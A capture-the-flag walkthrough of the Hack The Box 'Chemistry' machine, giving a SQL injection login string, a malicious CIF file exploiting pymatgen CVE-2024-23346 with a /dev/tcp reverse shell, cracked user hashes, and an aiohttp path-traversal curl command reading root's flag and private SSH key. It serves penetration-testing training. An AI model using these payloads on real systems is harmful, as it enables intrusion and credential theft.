htb: chemistry walkthrough

htb: chemistry walkthrough

March 13, 2025
6 min read
Table of Contents

Chemistry is an easy-difficulty Linux machine that showcases a Remote Code Execution (RCE) vulnerability in the pymatgen (CVE-2024-23346) Python library by uploading a malicious CIF file to the hosted CIF Analyzer website on the target. After discovering and cracking hashes, we authenticate to the target via SSH as rosa user. For privilege escalation, we exploit a Path Traversal vulnerability that leads to an Arbitrary File Read in a Python library called AioHTTP (CVE-2024-23334) which is used on the web application running internally to read the root flag.

Solver
c chris alupului
Author
Created by FisMatHack
Category
Linux · Easy
Release
19 Oct 2024

Great box for beginner penetration testers just diving into basic enumeration, SQL injection, password cracking, and LFI. Proof-of-concepts are easy to follow and use or read the source-code and attempt to manually craft the payload.


Recon - nmap

nmap -p 22,5000 10.129.152.225 --min-rate 10000
 
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-11 06:17 EDT
Nmap scan report for 10.129.152.225
Host is up (0.024s latency).
 
PORT     STATE SERVICE
22/tcp   open  ssh
5000/tcp open  upnp
 
Nmap done: 1 IP address (1 host up) scanned in 0.22 seconds
  chemistry nmap -p 22,5000 10.129.152.225 -sCV -T5
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-11 06:17 EDT
nmap -p 22,5000 10.129.152.225 -sCV -T5
 
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-11 06:17 EDT
Stats: 0:00:06 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 50.00% done; ETC: 06:17 (0:00:06 remaining)
Nmap scan report for 10.129.152.225
Host is up (0.025s latency).
 
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 b6:fc:20:ae:9d:1d:45:1d:0b:ce:d9:d0:20:f2:6f:dc (RSA)
|   256 f1:ae:1c:3e:1d:ea:55:44:6c:2f:f2:56:8d:62:3c:2b (ECDSA)
|_  256 94:42:1b:78:f2:51:87:07:3e:97:26:c9:a2:5c:0a:26 (ED25519)
5000/tcp open  http    Werkzeug httpd 3.0.3 (Python 3.9.5)
|_http-title: Chemistry - Home
|_http-server-header: Werkzeug/3.0.3 Python/3.9.5
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
 
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.45 seconds
 

HTTP 5000

chemistrysite

We discovered the login page for the main website. login

We registered a user: admin' OR 1=1 LIMIT 1;-- - allowed us normal access.

 
data_Example
_cell_length_a    10.00000
_cell_length_b    10.00000
_cell_length_c    10.00000
_cell_angle_alpha 90.00000
_cell_angle_beta  90.00000
_cell_angle_gamma 90.00000
_symmetry_space_group_name_H-M 'P 1'
loop_
 _atom_site_label
 _atom_site_fract_x
 _atom_site_fract_y
 _atom_site_fract_z
 _atom_site_occupancy
 H 0.00000 0.00000 0.00000 1
 O 0.50000 0.50000 0.50000 1

Found CFI example file

Here’s an example of the downloaded file. We can research the CIF file type on Google for more information.

pocvuln

We discovered a prof-of-concept vulnerability. prof-of-concept link

#poc #commandinjection

data_5yOhtAoR
_audit_creation_date            2018-06-08
_audit_creation_method          "Pymatgen CIF Parser Arbitrary Code Execution Exploit"
 
loop_
_parent_propagation_vector.id
_parent_propagation_vector.kxkykz
k1 [0 0 0]
 
_space_group_magn.transform_BNS_Pp_abc  'a,b,[d for d in ().__class__.__mro__[1].__getattribute__ ( *[().__class__.__mro__[1]]+["__sub" + "classes__"]) () if d.__name__ == "BuiltinImporter"][0].load_module ("os").system ("/bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.14.65/1234 0>&1'");0,0,0'
 
 
_space_group_magn.number_BNS  62.448
_space_group_magn.name_BNS  "P  n'  m  a'  "

Foothold

We established our foothold with this payload.

  chemistry nc -lvnp 1234   
listening on [any] 1234 ...
connect to [10.10.14.65] from (UNKNOWN) [10.129.152.225] 33064
bash: cannot set terminal process group (1040): Inappropriate ioctl for device
bash: no job control in this shell
app@chemistry:~$ id
id
uid=1001(app) gid=1001(app) groups=1001(app)
app@chemistry:~$ 

No special groups that we’re apart of.

app@chemistry:~$ cat app.py
from flask import Flask, render_template, request, redirect, url_for, flash
from werkzeug.utils import secure_filename
from flask_sqlalchemy import SQLAlchemy
from flask_login import LoginManager, UserMixin, login_user, login_required, logout_user, current_user
from pymatgen.io.cif import CifParser
import hashlib
import os
import uuid
 
app = Flask(__name__)
app.config['SECRET_KEY'] = 'MyS3cretCh3mistry4PP'
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///database.db'
app.config['UPLOAD_FOLDER'] = 'uploads/'
app.config['ALLOWED_EXTENSIONS'] = {'cif'}

MyS3cretCh3mistry4PP is the secret-key to the database.

 
app@chemistry:~$ ls
app.py  instance  static  templates  uploads
app@chemistry:~$ cd instance
app@chemistry:~/instance$ ls
database.db
app@chemistry:~/instance$ ls -la
total 28
drwx------ 2 app app  4096 Mar 11 11:00 .
drwxr-xr-x 8 app app  4096 Mar 11 11:14 ..
-rwx------ 1 app app 20480 Mar 11 11:00 database.db
app@chemistry:~/instance$ sqlite3 database.db
SQLite version 3.31.1 2020-01-27 19:55:54
Enter ".help" for usage hints.
sqlite> .tables
structure  user
sqlite> select * from user;
1|admin|2861debaf8d99436a10ed6f75a252abf
2|app|197865e46b878d9e74a0346b6d59886a
3|rosa|63ed86ee9f624c7b14f1d4f43dc251a5
4|robert|02fcf7cfc10adc37959fb21f06c6b467
5|jobert|3dec299e06f7ed187bac06bd3b670ab2
6|carlos|9ad48828b0955513f7cf0f7f6510c8f8
7|peter|6845c17d298d95aa942127bdad2ceb9b
8|victoria|c3601ad2286a4293868ec2a4bc606ba3
9|tania|a4aa55e816205dc0389591c9f82f43bb
10|eusebio|6cad48078d0241cca9a7b322ecd073b3
11|gelacia|4af70c80b68267012ecdac9a7e916d18
12|fabian|4e5d71f53fdd2eabdbabb233113b5dc0
13|axel|9347f9724ca083b17e39555c36fd9007
14|kristel|6896ba7b11a62cacffbdaded457c6d92
15|admin' OR 1=1 LIMIT 1;-- -|5f4dcc3b5aa765d61d8327deb882cf99

crackstation

We cracked the password for rosa:unicorniosrosados

Server Foothold

rosa@chemistry:~$ id
uid=1000(rosa) gid=1000(rosa) groups=1000(rosa)
rosa@chemistry:~$ ls
user.txt

We discovered the user flag.

Priv Esc

Started going through Post-Breakout Recon and discover:

rosa@chemistry:~$ netstat -tulnp
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 0.0.0.0:5000            0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:8080          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      -                   
udp        0      0 127.0.0.53:53           0.0.0.0:*                           -                   
udp        0      0 0.0.0.0:68              0.0.0.0:*                           -    

That we have an unusual service running on port 8080.

rosa@chemistry:~$ curl -I http://127.0.0.1:8080
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 5971
Date: Tue, 11 Mar 2025 14:14:10 GMT
Server: Python/3.9 aiohttp/3.9.1
 

We discovered that the server is Python 3.9 and uses aiohttp/3.9.1 so we began looking for a vulnerability.

SSH Port Forwarding - Subdomain

ssh -L 8080:127.0.0.1:8080 rosa@10.129.152.225 

So we set up a SSH port forwarding(local forwarding) to our attack machine for us to take a look at on our browser.

![[Pasted image 20250311101114.png]] It appears to be a simple site monitoring dashboard.

Root Flag

Based on the vulnerability wizarddos/poc & jhonnybonny/poc we discovered a LFI vulnerability. #poc #lfi

rosa@chemistry:~$ curl -s --path-as-is http://127.0.0.1:8080/assets/../../../../../../root/root.txt
769047fd1311e1afe754dc19d97826d4

--path-as-is

  • Tells curl not to modify the request URL path.
  • Normally, curl might normalize the path (e.g., removing redundant slashes or dots like ../).
  • This option is crucial for bypassing web filters, exploiting LFI, SSTI, or path traversal vulnerabilities.

When to Use --path-as-is

✅ Exploiting LFI, RFI, or Path Traversal bugs.
✅ Testing web servers that mishandle unconventional URL paths.
✅ Bypassing WAF rules that expect sanitized paths.

Root User

We also managed to get the root SSH Key

rosa@chemistry:~$ curl -s --path-as-is http://127.0.0.1:8080/assets/../../../../../../root/.ssh/id_rsa                             
-----BEEGIN OPENSSH PRIVATE KEY----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAsFbYzGxskgZ6YM1LOUJsjU66WHi8Y2ZFQcM3G8VjO+NHKK8P0hIU
UbnmTGaPeW4evLeehnYFQleaC9u//vciBLNOWGqeg6Kjsq2lVRkAvwK2suJSTtVZ8qGi1v
j0wO69QoWrHERaRqmTzranVyYAdTmiXlGqUyiy0I7GVYqhv/QC7jt6For4PMAjcT0ED3Gk
EAAAGBALBW2MxsbJIGemDNSzlCbI1Oulh4vGNmRUHDNxvFYzvjRyivD9ISFFG55kxmj3lu
Hry3noZ2BUJXmgvbv/73IgSzTlhqnoOio7KtpVUZAL8CtrLiUk7VWfKhotb49MDuvUKFqx
xEWkapk862p1cmAHU5ol5RqlMostCOxlWKob/0Au47ehaK+DzAI3E9BA9xpB1STjW89nmr
<SNIP>